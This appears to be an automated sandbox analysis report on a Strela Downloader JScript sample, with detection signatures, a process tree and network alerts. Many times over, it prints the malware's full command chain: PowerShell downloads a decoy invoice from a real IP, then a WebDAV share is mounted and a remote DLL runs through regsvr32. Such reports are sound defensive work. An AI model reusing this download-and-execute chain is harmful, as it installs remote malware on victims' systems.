Edit tour

Windows Analysis Report
1923918274137833386.js

Overview

General Information

Sample name:	1923918274137833386.js
Analysis ID:	1587746
MD5:	05638c7994a2d9c60248e71fa8f55272
SHA1:	d2d4093ceca63e2595cbb16af7811e268afd1de2
SHA256:	e0688538cfd09bcd06dddd7d56850abaf4f6a2aa0dd837c786ec6aabe2e083f0
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7332 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1923918274137833386.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7388 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7440 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7648 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7860 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8064 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2072 --field-trial-handle=1360,i,16295376262785237686,8278694077774238720,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7676 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7768 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7924 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7332	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7388, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7440, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7388, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7440, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1923918274137833386.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1923918274137833386.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1923918274137833386.js", ProcessId: 7332, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7768, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1923918274137833386.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7332, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, ProcessId: 7388, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1923918274137833386.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7332, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, ProcessId: 7388, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1923918274137833386.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7332, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, ProcessId: 7388, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1923918274137833386.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7332, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, ProcessId: 7388, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1923918274137833386.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7332, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, ProcessId: 7388, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1923918274137833386.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1923918274137833386.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1923918274137833386.js", ProcessId: 7332, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7388, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7440, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7676, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7768, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7924, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7676, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7768, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1923918274137833386.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7332, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll, ProcessId: 7388, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:34:59.888665+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:34:56.979636+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1923918274137833386.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1923918274137833386.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:34:56 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

